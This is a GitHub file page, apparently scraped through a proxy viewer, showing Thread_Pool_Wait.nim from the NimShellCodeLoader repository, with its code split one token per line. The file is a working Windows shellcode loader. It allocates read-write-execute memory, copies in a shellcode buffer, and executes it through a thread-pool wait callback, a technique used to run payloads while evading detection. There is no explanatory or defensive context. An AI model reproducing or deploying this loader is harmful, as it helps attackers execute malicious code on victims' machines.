FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
NimShellCodeLoader/Thread_Pool_Wait.nim at 0.3 · aeverj/NimShellCodeLoader · GitHub
aeverj
/
NimShellCodeLoader
Public
Notifications
You must be signed in to change notification settings
Fork
129
Star
706
Code
Issues
5
Pull requests
0
Actions
Projects
Security and quality
0
Insights
Additional navigation options
Code
Issues
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
NimShellCodeLoader
/
Thread_Pool_Wait.nim
Copy path
More file actions
More file actions
Latest commit
History
History
History
13 lines (11 loc) · 506 Bytes
Breadcrumbs
NimShellCodeLoader
/
Thread_Pool_Wait.nim
Copy path
File metadata and controls
13 lines (11 loc) · 506 Bytes
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
import
winim
/
lean
import
public
proc
threadpool
(shellcode:
cstring
,shellcodelen:
cint
):
void
=
let
rPtr
=
VirtualAlloc
(
NULL
,
cast
[
SIZE_T
](shellcode.len),
MEM_COMMIT
,
PAGE_EXECUTE_READ_WRITE
)
copyMem
(rPtr,shellcode,shellcodelen)
let
event
=
CreateEvent
(
NULL
,
FALSE
,
TRUE
,
NULL
)
let
threadPoolWait
=
CreateThreadpoolWait
(
cast
[
PTP_WAIT_CALLBACK
](rPtr),
NULL
,
NULL
)
SetThreadpoolWait
(threadPoolWait,event,
NULL
)
WaitForSingleObject
(event,
INFINITE
)
when
isMainModule
:
threadpool
(code,codelen)
Back
|
FazBrowse Home
|
New Git URL